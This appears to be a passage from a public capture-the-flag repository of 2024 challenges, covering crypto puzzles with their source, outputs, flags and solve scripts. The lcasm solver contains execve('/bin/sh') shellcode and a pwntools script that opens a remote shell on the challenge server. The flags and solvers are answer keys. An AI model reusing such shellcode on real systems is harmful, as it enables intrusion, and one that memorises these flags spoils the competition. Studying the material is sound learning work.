├── Crypto ├── base64 │ ├── README.md │ └── challenge │ │ ├── flag.txt │ │ ├── main.py │ │ ├── out.txt │ │ ├── sbg.png │ │ └── solve.py ├── coast │ ├── README.md │ └── challenge │ │ ├── chall.sage │ │ ├── flag.txt │ │ ├── output.py │ │ ├── output.txt │ │ └── solve.sage ├── integrity │ ├── README.md │ └── challenge │ │ ├── flag.txt │ │ ├── main.py │ │ ├── out.txt │ │ ├── solve.sage │ │ └── solve.sage.py ├── lcasm │ ├── README.md │ ├── challenge.yaml │ └── challenge │ │ ├── Dockerfile │ │ ├── Makefile │ │ ├── __pycache__ │ │ └── solvelinmod.cpython-310.pyc │ │ ├── flag.txt │ │ ├── lcasm │ │ ├── lcasm.c │ │ ├── libc.so.6 │ │ ├── nsjail.cfg │ │ ├── solve.sage │ │ ├── solve.sage.py │ │ └── solvelinmod.py ├── lf3r │ ├── README.md │ └── challenge │ │ ├── chall.py │ │ ├── flag.txt │ │ ├── output.py │ │ ├── output.txt │ │ └── solve.py ├── notitle │ ├── README.md │ └── challenge │ │ ├── chall.py │ │ ├── flag.txt │ │ ├── output.py │ │ ├── output.txt │ │ └── solve.py ├── pacap │ ├── README.md │ └── challenge │ │ ├── chall.sage │ │ ├── flag.py │ │ ├── output.txt │ │ └── solve.sage ├── solitude │ ├── README.md │ ├── challenge.yaml │ └── challenge │ │ ├── Dockerfile │ │ ├── flag.txt │ │ ├── main.py │ │ ├── nsjail.cfg │ │ └── solve.py └── tango │ ├── README.md │ ├── challenge.yaml │ └── challenge │ ├── Dockerfile │ ├── nsjail.cfg │ ├── secret.py │ ├── server.py │ └── solve.py ├── Forensics ├── Sleepy Alarm │ ├── flag.txt │ ├── readme.md │ ├── src │ │ ├── createsignal.m │ │ ├── morning_n_breakfast.mp3 │ │ └── morning_n_breakfast_original.mp3 │ └── togive │ │ ├── .s │ │ └── morning_n_breakfast.mp3 ├── bom │ ├── README.md │ ├── chal.txt │ ├── flag.txt │ └── gen.py ├── cartesian-1 │ ├── README.md │ └── flag.txt ├── cartesian-2 │ ├── README.md │ └── flag.txt ├── cartesian-3 │ ├── README.md │ ├── challenge.yaml │ └── challenge │ │ ├── Dockerfile │ │ ├── app.py │ │ ├── flag.txt │ │ └── templates │ │ ├── password_reset.html │ │ └── success.html ├── crash │ ├── README.md │ └── flag.txt ├── dog-mom │ ├── README.md │ └── challenge │ │ ├── flag.txt │ │ └── image.png ├── elf in front of a sunset │ ├── flag.txt │ ├── readme.md │ ├── src │ │ ├── download.bmp │ │ ├── elves.bmp │ │ └── testcode.cpp │ └── togive │ │ └── elves.bmp ├── locked │ ├── README.md │ └── flag.txt ├── packed │ ├── README.md │ ├── flag.txt │ └── routed.pkz ├── playful-puppy │ ├── README.md │ ├── flag.txt │ ├── image.png │ └── playful-puppy.zip └── routed │ ├── README.md │ ├── flag.txt │ └── routed.pkz ├── Misc ├── bank │ ├── README.md │ └── challenge │ │ ├── Bank.sol │ │ ├── flag.txt │ │ └── solve.py ├── calc │ ├── README.md │ ├── challenge.yaml │ └── challenge │ │ ├── Dockerfile │ │ ├── exp.py │ │ ├── flag.txt │ │ └── server.py ├── discord │ ├── README.md │ └── flag.txt ├── gdbjail1 │ ├── README.md │ ├── challenge.yaml │ └── challenge │ │ ├── Dockerfile │ │ ├── flag.txt │ │ ├── gdbinit.sh │ │ ├── libc.so.6 │ │ ├── main.py │ │ ├── nsjail.cfg │ │ ├── run.sh │ │ └── solve.py ├── gdbjail2 │ ├── README.md │ ├── challenge.yaml │ └── challenge │ │ ├── Dockerfile │ │ ├── flag.txt │ │ ├── gdbinit.sh │ │ ├── libc.so.6 │ │ ├── main.py │ │ ├── nsjail.cfg │ │ ├── run.sh │ │ └── solve.py ├── left_in_the_dark │ ├── README.md │ ├── challenge.yaml │ └── challenge │ │ ├── Dockerfile │ │ ├── docker-compose.yml │ │ ├── flag.txt │ │ ├── maze.py │ │ ├── wrapper.sh │ │ └── x.py ├── ok-nice │ ├── README.md │ ├── challenge.yaml │ └── challenge │ │ ├── Dockerfile │ │ ├── flag.txt │ │ ├── jail.py │ │ ├── nsjail.cfg │ │ └── solve.py ├── sanity-check │ ├── README.md │ └── flag.txt ├── starship │ ├── README.md │ ├── challenge.yaml │ └── challenge │ │ ├── Dockerfile │ │ ├── __pycache__ │ │ └── gen.cpython-310.pyc │ │ ├── flag.txt │ │ ├── gen.py │ │ ├── main.py │ │ ├── nsjail.cfg │ │ └── solve.py ├── sussy │ ├── README.md │ └── flag.txt └── zable │ ├── README.md │ ├── challenge.yaml │ ├── challenge │ ├── .bazelignore │ ├── .npmrc │ ├── BUILD │ ├── Dockerfile │ ├── MODULE.bazel │ ├── MODULE.bazel.lock │ ├── WORKSPACE │ ├── chall.py │ ├── defs.bzl │ ├── docker-compose.yml │ ├── flag.txt │ ├── hello.js │ ├── package.json │ ├── pnpm-lock.yaml │ └── wrapper.sh │ ├── gen_dist.sh │ └── zable.dist.zip ├── Pwn ├── bopity │ ├── README.md │ └── challenge │ │ ├── Dockerfile │ │ ├── Makefile │ │ ├── flag.txt │ │ ├── flag2.txt │ │ ├── nsjail.cfg │ │ ├── solve.py │ │ ├── vuln │ │ └── vuln.c ├── fermat │ ├── README.md │ ├── challenge.yaml │ └── challenge │ │ ├── Dockerfile │ │ ├── Makefile │ │ ├── flag.txt │ │ ├── libc.so.6 │ │ ├── nsjail.cfg │ │ ├── solve.py │ │ ├── vuln │ │ └── vuln.c ├── hopper │ ├── README.md │ ├── challenge.yaml │ └── challenge │ │ ├── Dockerfile │ │ ├── Makefile │ │ ├── __pycache__ │ │ └── setcontext32.cpython-310.pyc │ │ ├── flag.txt │ │ ├── libc.so.6 │ │ ├── nsjail.cfg │ │ ├── setcontext32.py │ │ ├── solve.py │ │ ├── vuln │ │ └── vuln.cpp ├── ictf-band │ ├── README.md │ ├── challenge.yaml │ └── challenge │ │ ├── Dockerfile │ │ ├── assets │ │ ├── flag.txt │ │ ├── ictf-band │ │ ├── ld-linux-x86-64.so.2 │ │ ├── libc.so.6 │ │ └── solve.py │ │ ├── nsjail.cfg │ │ └── public │ │ ├── README.md │ │ ├── ictf-band │ │ ├── ld-linux-x86-64.so.2 │ │ └── libc.so.6 ├── imgstore │ ├── README.md │ ├── challenge.yaml │ └── challenge │ │ ├── Dockerfile │ │ ├── assets │ │ ├── flag.txt │ │ ├── imgstore │ │ ├── ld-linux-x86-64.so.2 │ │ ├── libc.so.6 │ │ └── solve.py │ │ ├── nsjail.cfg │ │ └── public │ │ ├── imgstore │ │ ├── ld-linux-x86-64.so.2 │ │ └── libc.so.6 ├── nsftpd │ ├── README.md │ └── challenge │ │ ├── Dockerfile │ │ ├── flag.txt │ │ ├── ftpd │ │ ├── getflag │ │ ├── getflag.c │ │ └── solve.py ├── onewrite │ ├── README.md │ ├── challenge.yaml │ └── challenge │ │ ├── Dockerfile │ │ ├── Makefile │ │ ├── __pycache__ │ │ └── setcontext32.cpython-310.pyc │ │ ├── flag.txt │ │ ├── libc.so.6 │ │ ├── nsjail.cfg │ │ ├── setcontext32.py │ │ ├── solve.py │ │ ├── vuln │ │ └── vuln.c └── ropity │ ├── README.md │ ├── challenge.yaml │ └── challenge │ ├── Dockerfile │ ├── Makefile │ ├── flag.txt │ ├── flag2.txt │ ├── nsjail.cfg │ ├── solve.py │ ├── vuln │ └── vuln.c ├── README.md ├── Reversing ├── Absolute Flag Checker │ ├── flag.txt │ ├── readme.md │ ├── src │ │ ├── generate equations.cpp │ │ └── main.cpp │ └── togive │ │ ├── .s │ │ └── absolute flag checker.exe ├── bf │ ├── README.md │ └── challenge │ │ ├── bf.txt │ │ ├── flag.txt │ │ ├── generate.py │ │ └── solve.py ├── oh_a_camel │ ├── README.md │ └── challenge │ │ ├── .gitignore │ │ ├── Dockerfile │ │ ├── build.sh │ │ ├── output │ │ └── main.exe │ │ ├── solve │ │ ├── .gitignore │ │ ├── index.ts │ │ ├── package-lock.json │ │ ├── package.json │ │ └── tsconfig.json │ │ └── src │ │ ├── .dockerignore │ │ ├── .gitignore │ │ ├── bin │ │ ├── dune │ │ └── main.ml │ │ ├── dune-project │ │ ├── generate.py │ │ ├── oh_a_camel.opam │ │ ├── preprocess.sh │ │ └── test │ │ ├── dune │ │ └── test_oh_a_camel.ml ├── printf │ ├── README.md │ └── challenge │ │ ├── Makefile │ │ ├── a.c │ │ ├── asm │ │ ├── dump │ │ ├── end.c │ │ ├── flag.txt │ │ ├── gen.py │ │ ├── libc.so.6 │ │ ├── printf │ │ ├── printf.c │ │ ├── process_dump.py │ │ └── solve │ │ ├── __pycache__ │ │ └── solvelinmod.cpython-310.pyc │ │ ├── solve.sage │ │ ├── solve.sage.py │ │ └── solvelinmod.py ├── rust │ ├── README.md │ └── challenge │ │ ├── flag.txt │ │ ├── output.txt │ │ ├── rust │ │ └── solve.py ├── svm_revenge │ ├── README.md │ └── challenge │ │ ├── .gitignore │ │ ├── Makefile │ │ ├── flag.txt │ │ ├── generate_program.sage │ │ ├── matrix.dump │ │ ├── output.bin │ │ ├── program.h │ │ ├── solve.sage │ │ ├── svm_revenge │ │ └── svm_revenge.c ├── unconditional │ ├── flag.txt │ ├── readme.md │ ├── src │ │ └── flag mangler.cpp │ └── togive │ │ ├── .s │ │ └── chal ├── unoriginal │ ├── README.md │ └── challenge │ │ ├── Makefile │ │ ├── flag.txt │ │ ├── solve.py │ │ ├── unoriginal │ │ └── unoriginal.c ├── vokram │ ├── README.md │ └── challenge │ │ ├── check_flag.vokram │ │ ├── gen.py │ │ ├── solve.py │ │ └── vm.py └── watchdog │ ├── README.md │ └── challenge │ ├── Makefile │ ├── flag.txt │ ├── solve.sage │ ├── solvelinmod.py │ ├── watchdog │ └── watchdog.cpp └── Web ├── crystals ├── README.md ├── challenge │ ├── Dockerfile │ ├── app │ │ ├── app.rb │ │ ├── run.sh │ │ └── views │ │ │ └── index.erb │ ├── conf │ │ └── nginx.conf │ ├── docker-compose.yml │ ├── flag.txt │ └── solve.py └── crystals_release.zip ├── forms ├── README.md ├── challenge.yaml ├── challenge │ ├── .gitignore │ ├── Dockerfile │ ├── app │ │ ├── .dockerignore │ │ ├── .gitignore │ │ ├── __init__.py │ │ ├── bot.py │ │ ├── main.py │ │ ├── static │ │ │ ├── bootstrap.bundle.min.js │ │ │ └── bootstrap.min.css │ │ └── templates │ │ │ ├── admin_confirmation.html │ │ │ ├── base.html │ │ │ ├── create_form.html │ │ │ ├── fill_form.html │ │ │ ├── index.html │ │ │ ├── list_forms.html │ │ │ ├── login.html │ │ │ ├── register.html │ │ │ └── thank_you.html │ ├── forms.tar.gz │ ├── requirements.txt │ ├── run_devel.sh │ └── solve.py └── healthcheck │ ├── Dockerfile │ ├── healthcheck.py │ ├── healthcheck_loop.sh │ └── healthz_webserver.py ├── heapnotes ├── README.md ├── admin-bot │ ├── challenge.yaml │ └── challenge │ │ ├── Dockerfile │ │ ├── bot.js │ │ ├── flag.txt │ │ └── run.sh ├── challenge.yaml ├── challenge │ ├── Dockerfile │ ├── app.py │ ├── flag.txt │ ├── requirements.txt │ ├── solve.html │ ├── solve.py │ ├── solve_test.py │ └── templates │ │ ├── create.html │ │ ├── index.html │ │ ├── login.html │ │ ├── note.html │ │ └── register.html ├── healthcheck │ ├── Dockerfile │ ├── healthcheck.py │ ├── healthcheck_loop.sh │ └── healthz_webserver.py └── heapnotes_dist.zip ├── journal ├── README.md ├── challenge.yaml ├── challenge │ ├── Dockerfile │ ├── files │ │ ├── file1.txt │ │ ├── file2.txt │ │ ├── file3.txt │ │ ├── file4.txt │ │ └── file5.txt │ ├── flag.txt │ └── index.php └── journal-dist.zip ├── notactf ├── README.md ├── challenge.yaml ├── challenge │ ├── Dockerfile │ ├── app.py │ ├── challenges-dist.txt │ ├── challenges.txt │ ├── config.py │ ├── docker-compose.yml │ ├── requirements.txt │ ├── run.sh │ ├── solve.py │ ├── static │ │ ├── css │ │ │ ├── admin.css │ │ │ ├── challenges.css │ │ │ ├── home.css │ │ │ ├── leaderboard.css │ │ │ ├── modified_bootstrap.css │ │ │ └── solves.css │ │ └── js │ │ │ └── home.js │ └── templates │ │ ├── admin.html │ │ ├── blank.html │ │ ├── challenges.html │ │ ├── error.html │ │ ├── home.html │ │ ├── leaderboard.html │ │ ├── login.html │ │ ├── post-login.html │ │ ├── register.html │ │ ├── solves.html │ │ └── unauthorized.html └── notactf-dist.zip ├── p2c ├── README.md ├── challenge.yaml └── challenge │ ├── Dockerfile │ ├── app │ ├── app.py │ ├── flag.txt │ ├── parse.py │ └── templates │ │ └── index.html │ ├── flag.txt │ ├── p2c_release.zip │ └── solve.py ├── pwning-en-logique ├── README.md ├── challenge.yaml ├── challenge │ ├── Dockerfile │ ├── pwning_en_logique.tar.gz │ ├── run.sh │ └── server.pl └── healthcheck │ ├── Dockerfile │ ├── healthcheck.py │ ├── healthcheck_loop.sh │ └── healthz_webserver.py ├── readme ├── README.md ├── challenge.yaml └── challenge │ ├── Dockerfile │ ├── default.conf │ ├── docker-compose.yml │ ├── package.json │ ├── public │ └── index.html │ ├── readme.tar.gz │ ├── src │ └── app.js │ ├── start.sh │ └── yarn.lock ├── readme2 ├── README.md ├── challenge.yaml └── challenge │ ├── Dockerfile │ ├── app.js │ ├── exp.sh │ └── readme2.tar.gz └── the_amazing_race ├── README.md ├── challenge.yaml ├── challenge ├── Dockerfile ├── app.py ├── docker-compose.yml ├── flag.txt ├── maze.py ├── mazes.db └── templates │ └── maze.html ├── healthcheck ├── Dockerfile ├── healthcheck.py ├── healthcheck_loop.sh └── healthz_webserver.py └── x.py /Crypto/base64/README.md: -------------------------------------------------------------------------------- 1 | # base64 2 | **Category:** Crypto 3 | **Difficulty:** Easy 4 | **Author:** Eth007 5 | 6 | ## Description 7 | 8 | yet another base64 decoding challenge 9 | 10 | ## Distribution 11 | 12 | - `main.py` 13 | - `out.txt` 14 | - `sbg.png` 15 | 16 | ## Solution 17 | 18 | - solve.py 19 | -------------------------------------------------------------------------------- /Crypto/base64/challenge/flag.txt: -------------------------------------------------------------------------------- 1 | ictf{b4se_c0nv3rs1on_ftw_236680982d9e8449} 2 | -------------------------------------------------------------------------------- /Crypto/base64/challenge/main.py: -------------------------------------------------------------------------------- 1 | from Crypto.Util.number import bytes_to_long 2 | 3 | q = 64 4 | 5 | flag = open("flag.txt", "rb").read() 6 | flag_int = bytes_to_long(flag) 7 | 8 | secret_key = [] 9 | while flag_int: 10 | secret_key.append(flag_int % q) 11 | flag_int //= q 12 | 13 | print(f"{secret_key = }") 14 | -------------------------------------------------------------------------------- /Crypto/base64/challenge/out.txt: -------------------------------------------------------------------------------- 1 | secret_key = [10, 52, 23, 14, 52, 16, 3, 14, 37, 37, 3, 25, 50, 32, 19, 14, 48, 32, 35, 13, 54, 12, 35, 12, 31, 29, 7, 29, 38, 61, 37, 27, 47, 5, 51, 28, 50, 13, 35, 29, 46, 1, 51, 24, 31, 21, 54, 28, 52, 8, 54, 30, 38, 17, 55, 24, 41, 1] 2 | -------------------------------------------------------------------------------- /Crypto/base64/challenge/sbg.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Crypto/base64/challenge/sbg.png -------------------------------------------------------------------------------- /Crypto/base64/challenge/solve.py: -------------------------------------------------------------------------------- 1 | from Crypto.Util.number import long_to_bytes 2 | 3 | secret_key = [10, 52, 23, 14, 52, 16, 3, 14, 37, 37, 3, 25, 50, 32, 19, 14, 48, 32, 35, 13, 54, 12, 35, 12, 31, 29, 7, 29, 38, 61, 37, 27, 47, 5, 51, 28, 50, 13, 35, 29, 46, 1, 51, 24, 31, 21, 54, 28, 52, 8, 54, 30, 38, 17, 55, 24, 41, 1] 4 | q = 64 5 | 6 | flag_int = 0 7 | while secret_key: 8 | flag_int += secret_key.pop(-1) 9 | flag_int *= q 10 | flag_int //= q 11 | 12 | print(long_to_bytes(flag_int)) 13 | -------------------------------------------------------------------------------- /Crypto/coast/README.md: -------------------------------------------------------------------------------- 1 | # coast 2 | **Category:** Crypto 3 | **Difficulty:** Medium 4 | **Author:** maple3142 5 | 6 | ## Description 7 | 8 | Isogeny cryptography seems so fun, so I build a new cryptosystem based on CSIDH. 9 | 10 | ## Distribution 11 | 12 | - `chall.sage` 13 | - `output.txt` 14 | 15 | ## Solution 16 | 17 | First, due to how the group action is implemented the sign of `es` in private key does not matter. Second, the order of the auxiliary point `G` leaks the degree of isogeny. (i.e.g `G` has order `p+1` but becomes `(p+1)//3` after a 3-isogeny) 18 | 19 | So computing the order of `G` in public key reveals the secret isogeny, and we can compute the shared secret to decrypt the flag. See [solve.sage](./challenge/solve.sage) for details. 20 | -------------------------------------------------------------------------------- /Crypto/coast/challenge/flag.txt: -------------------------------------------------------------------------------- 1 | ictf{just_a_very_broken_implementation_of_csidh} 2 | -------------------------------------------------------------------------------- /Crypto/coast/challenge/output.py: -------------------------------------------------------------------------------- 1 | output.txt -------------------------------------------------------------------------------- /Crypto/integrity/README.md: -------------------------------------------------------------------------------- 1 | # integrity 2 | **Category:** Crypto 3 | **Difficulty:** Easy 4 | **Author:** Eth007 5 | 6 | ## Description 7 | 8 | I think this is how signing works 9 | 10 | ## Distribution 11 | 12 | - `main.py` 13 | - `out.txt` 14 | 15 | ## Solution 16 | 17 | - solve.py 18 | -------------------------------------------------------------------------------- /Crypto/integrity/challenge/flag.txt: -------------------------------------------------------------------------------- 1 | ictf{oops_i_leaked_some_info} 2 | -------------------------------------------------------------------------------- /Crypto/integrity/challenge/main.py: -------------------------------------------------------------------------------- 1 | from Crypto.Util.number import * 2 | from binascii import crc_hqx 3 | 4 | p = getPrime(1024) 5 | q = getPrime(1024) 6 | 7 | n = p*q 8 | e = 65537 9 | tot = (p-1)*(q-1) 10 | d = pow(e, -1, tot) 11 | 12 | flag = bytes_to_long(open("flag.txt", "rb").read()) 13 | ct = pow(flag, e, n) 14 | 15 | #signature = pow(flag, d, n) # no, im not gonna do that 16 | signature = pow(flag, crc_hqx(long_to_bytes(d), 42), n) 17 | 18 | print(f"{n = }") 19 | print(f"{ct = }") 20 | print(f"{signature = }") 21 | 22 | -------------------------------------------------------------------------------- /Crypto/integrity/challenge/solve.sage: -------------------------------------------------------------------------------- 1 | from Crypto.Util.number import * 2 | 3 | exec(open("out.txt").read()) 4 | 5 | def attack(n, e1, c1, e2, c2): 6 | g, u, v = xgcd(e1, e2) 7 | p1 = pow(c1, u, n) if u > 0 else pow(pow(c1, -1, n), -u, n) 8 | p2 = pow(c2, v, n) if v > 0 else pow(pow(c2, -1, n), -v, n) 9 | return int(ZZ(int(p1 * p2) % n).nth_root(g)) 10 | 11 | for i in range(65536): 12 | try: 13 | a = long_to_bytes(attack(n, 65537, ct, i, signature)) 14 | if b"ictf" in a: 15 | print(a) 16 | break 17 | except: 18 | pass 19 | -------------------------------------------------------------------------------- /Crypto/integrity/challenge/solve.sage.py: -------------------------------------------------------------------------------- 1 | 2 | 3 | # This file was *autogenerated* from the file solve.sage 4 | from sage.all_cmdline import * # import sage library 5 | 6 | _sage_const_0 = Integer(0); _sage_const_1 = Integer(1); _sage_const_65536 = Integer(65536); _sage_const_65537 = Integer(65537) 7 | from Crypto.Util.number import * 8 | 9 | exec(open("out.txt").read()) 10 | 11 | def attack(n, e1, c1, e2, c2): 12 | g, u, v = xgcd(e1, e2) 13 | p1 = pow(c1, u, n) if u > _sage_const_0 else pow(pow(c1, -_sage_const_1 , n), -u, n) 14 | p2 = pow(c2, v, n) if v > _sage_const_0 else pow(pow(c2, -_sage_const_1 , n), -v, n) 15 | return int(ZZ(int(p1 * p2) % n).nth_root(g)) 16 | 17 | for i in range(_sage_const_65536 ): 18 | try: 19 | a = long_to_bytes(attack(n, _sage_const_65537 , ct, i, signature)) 20 | if b"ictf" in a: 21 | print(a) 22 | break 23 | except: 24 | pass 25 | 26 | -------------------------------------------------------------------------------- /Crypto/lcasm/README.md: -------------------------------------------------------------------------------- 1 | # lcasm 2 | **Category:** Crypto 3 | **Difficulty:** Easy-Medium 4 | **Author:** Eth007 5 | 6 | ## Description 7 | 8 | linear congruential assembler 9 | 10 | ## Distribution 11 | 12 | - `lcasm` 13 | - nc 14 | 15 | ## Solution 16 | 17 | - solve.py 18 | -------------------------------------------------------------------------------- /Crypto/lcasm/challenge.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: kctf.dev/v1 2 | kind: Challenge 3 | metadata: 4 | name: lcasm 5 | spec: 6 | deployed: true 7 | powDifficultySeconds: 0 8 | network: 9 | public: true 10 | healthcheck: 11 | enabled: false 12 | image: eu.gcr.io/imaginaryctf-2023/lcasm-challenge:2655ea16a145534353205d4d0c0787ef88846838e596a46e2fb2a7b2eab4fc13 13 | -------------------------------------------------------------------------------- /Crypto/lcasm/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | # Copyright 2020 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # https://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | FROM ubuntu:22.04@sha256:ac58ff7fe25edc58bdf0067ca99df00014dbd032e2246d30a722fa348fd799a5 as chroot 15 | 16 | RUN /usr/sbin/useradd --no-create-home -u 1024 user 17 | 18 | COPY flag.txt /home/user/flag.txt 19 | COPY lcasm /home/user/chal 20 | RUN chmod 555 /home/user/chal 21 | 22 | FROM gcr.io/kctf-docker/challenge@sha256:d884e54146b71baf91603d5b73e563eaffc5a42d494b1e32341a5f76363060fb 23 | 24 | COPY --from=chroot / /chroot 25 | 26 | COPY nsjail.cfg /home/user/ 27 | 28 | CMD kctf_setup && \ 29 | kctf_drop_privs \ 30 | socat \ 31 | TCP-LISTEN:1337,reuseaddr,fork \ 32 | EXEC:"kctf_pow nsjail --config /home/user/nsjail.cfg -- /home/user/chal" 33 | -------------------------------------------------------------------------------- /Crypto/lcasm/challenge/Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | gcc lcasm.c -o lcasm 3 | -------------------------------------------------------------------------------- /Crypto/lcasm/challenge/__pycache__/solvelinmod.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Crypto/lcasm/challenge/__pycache__/solvelinmod.cpython-310.pyc -------------------------------------------------------------------------------- /Crypto/lcasm/challenge/flag.txt: -------------------------------------------------------------------------------- 1 | ictf{fun_lil_shellcoding} 2 | -------------------------------------------------------------------------------- /Crypto/lcasm/challenge/lcasm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Crypto/lcasm/challenge/lcasm -------------------------------------------------------------------------------- /Crypto/lcasm/challenge/lcasm.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | unsigned long readint(char* prompt) { 12 | unsigned long out; 13 | printf("%s", prompt); 14 | scanf("%lu%*c", &out); 15 | return out; 16 | } 17 | 18 | unsigned long mult(unsigned long long a, unsigned long long b, unsigned long long m) { 19 | __uint128_t r = (__uint128_t)a * b; 20 | r = r % m; 21 | return (unsigned long) r; 22 | } 23 | 24 | int main() { 25 | unsigned long * sc; 26 | unsigned long x, a, c, m; 27 | 28 | setbuf(stdin, NULL); 29 | setbuf(stdout, NULL); 30 | 31 | sc = mmap(0, 0x1000, 7, MAP_ANONYMOUS | MAP_SHARED, 0, 0); 32 | 33 | x = readint("x> "); 34 | a = readint("a> "); 35 | c = readint("c> "); 36 | m = readint("m> "); 37 | 38 | for (int i=0; i<0x10; i++) { 39 | x = (mult(a,x,m) + c) % m; 40 | sc[i] = (unsigned long) x; 41 | } 42 | 43 | mprotect(sc, 0x1000, 5); 44 | ((void (*)()) sc)(); 45 | } 46 | -------------------------------------------------------------------------------- /Crypto/lcasm/challenge/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Crypto/lcasm/challenge/libc.so.6 -------------------------------------------------------------------------------- /Crypto/lcasm/challenge/solve.sage: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | import solvelinmod 3 | 4 | a = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05\x00" 5 | nums = [] 6 | for n in range(0, len(a), 8): 7 | nums.append(u64(a[n:n+8])) 8 | 9 | print(nums) 10 | 11 | mod = 2**64-3 12 | a = var('a') 13 | c = var('c') 14 | eq2 = nums[1]*-1 + nums[0]*a + 1*c == 0 15 | eq3 = nums[2]*-1 + nums[1]*a + 1*c == 0 16 | bounds = {a: 2**62, c: 2**62} 17 | sol = solvelinmod.solve_linear_mod([(eq2, mod), (eq3, mod)], bounds) 18 | print(f'{sol = }') 19 | 20 | a = ( int(sol[a]) + mod ) % mod 21 | c = ( int(sol[c]) + mod ) % mod 22 | 23 | x = (((nums[0] - c) % mod) * pow(a, -1, mod)) % mod 24 | print(f"{x = }") 25 | print(f"{a = }") 26 | print(f"{c = }") 27 | print(f"{mod = }") 28 | 29 | conn = remote("35.204.162.128", int(1337)) 30 | #conn = process("./lcasm") 31 | 32 | x = 6549227833016977563 33 | a = 15634179043583660018 34 | c = 10769788045638517834 35 | mod = 18446744073709551613 36 | 37 | conn.sendline(str(x).encode()) 38 | conn.sendline(str(a).encode()) 39 | conn.sendline(str(c+3).encode()) # i have no idea why this works 40 | conn.sendline(str(mod).encode()) 41 | conn.interactive() 42 | -------------------------------------------------------------------------------- /Crypto/lf3r/README.md: -------------------------------------------------------------------------------- 1 | # lf3r 2 | **Category:** Crypto 3 | **Difficulty:** Medium 4 | **Author:** maple3142 5 | 6 | ## Description 7 | 8 | LFSR's weakness comes from its linearity, so I come up with a new way to make it non-linear. Can you help me analyze it? 9 | 10 | ## Distribution 11 | 12 | - `chall.py` 13 | - `output.txt` 14 | 15 | ## Solution 16 | 17 | Denote the stream of lsb of state as a binary vector `lfsr_lsb_stream`, there is a matrix $M_2$ over $\mathbb{F}_2$ such that $\text{lfsr\_lsb\_stream} = \text{key\_bits} \cdot M_2$ can be derived from the `MASK`. 18 | 19 | Similarly, there is also another matrix $M_3$ over $\mathbb{F}_3$ that $\text{lfsr\_lsb\_stream} \cdot M_3 = \text{output\_ternary\_digits}$. Solving this system over $\mathbb{F}_3$ results result in a 255-dimension affine space of solutions. (i.e. $\text{lfsr\_lsb\_stream} = \text{sol} + t \cdot \text{lk}$) 20 | 21 | Since the correct $\text{lfsr\_lsb\_stream}$ have to be binary, and the $\text{sol}$ contains ternary digits, I apply a randomized greedy algorithm to remove the presence of $2$ and it would recover the correct $\text{lfsr\_lsb\_stream}$. 22 | 23 | Finally, solve a system over $\mathbb{F}_2$ with $M_2$ recover the key and we can decrypt the flag. See [solve.py](./challenge/solve.py) for details. 24 | -------------------------------------------------------------------------------- /Crypto/lf3r/challenge/chall.py: -------------------------------------------------------------------------------- 1 | import secrets, os 2 | 3 | n = 256 4 | MASK = 0x560074275752B31E43E64E99D996BC7B5A8A3DAC8B472FE3B83E6C6DDB5A26E7 5 | 6 | 7 | class LF3R: 8 | def __init__(self, n, key, mask): 9 | self.n = n 10 | self.state = key & ((1 << n) - 1) 11 | self.mask = mask 12 | 13 | def __call__(self): 14 | v = self.state % 3 15 | self.state = (self.state >> 1) | ( 16 | ((self.state & self.mask).bit_count() & 1) << (self.n - 1) 17 | ) 18 | return v 19 | 20 | 21 | def int_to_base(n, b): 22 | digits = [] 23 | while n: 24 | digits.append(n % b) 25 | n //= b 26 | return digits 27 | 28 | 29 | if __name__ == "__main__": 30 | key = secrets.randbits(n) 31 | lf3r = LF3R(n, key, MASK) 32 | 33 | stream = [lf3r() for _ in range(2048)] 34 | 35 | flag = os.environ["FLAG"].encode() 36 | flag_digits = int_to_base(int.from_bytes(flag, "big"), 3) 37 | stream += [(x + lf3r()) % 3 for x in flag_digits] 38 | print(f"{stream = }") 39 | -------------------------------------------------------------------------------- /Crypto/lf3r/challenge/flag.txt: -------------------------------------------------------------------------------- 1 | ictf{mixing_modulus_is_really_annoying_right?} 2 | -------------------------------------------------------------------------------- /Crypto/lf3r/challenge/output.py: -------------------------------------------------------------------------------- 1 | output.txt -------------------------------------------------------------------------------- /Crypto/notitle/README.md: -------------------------------------------------------------------------------- 1 | # notitle 2 | **Category:** Crypto 3 | **Difficulty:** Medium 4 | **Author:** maple3142 5 | 6 | ## Description 7 | 8 | The keys are obfuscated by a weird magic operation. 9 | 10 | ## Distribution 11 | 12 | - `chall.py` 13 | - `output.txt` 14 | 15 | ## Solution 16 | 17 | The `magic_op` computes the first kind of Chebyshev polynomials, and we can observe that either `magic_op(x, p + 1) == 1` or `magic_op(x, p - 1) == 1` for random `x`. This implies it corresponds to some group structure. 18 | 19 | First we have to obtain the `h`, which means it corresponds to some kind of discrete logarithm problem, and it is doable as `p - 1` and `p + 1` have a large smooth part. Either implementing Pohlig-Hellman algorithm yourself or find a homomorphism to `GF(p^2)` and call `discrete_log` would work. 20 | 21 | Once `h` is obtained, for each obfuscated key we can check which group does it belongs and try to decrypt it. 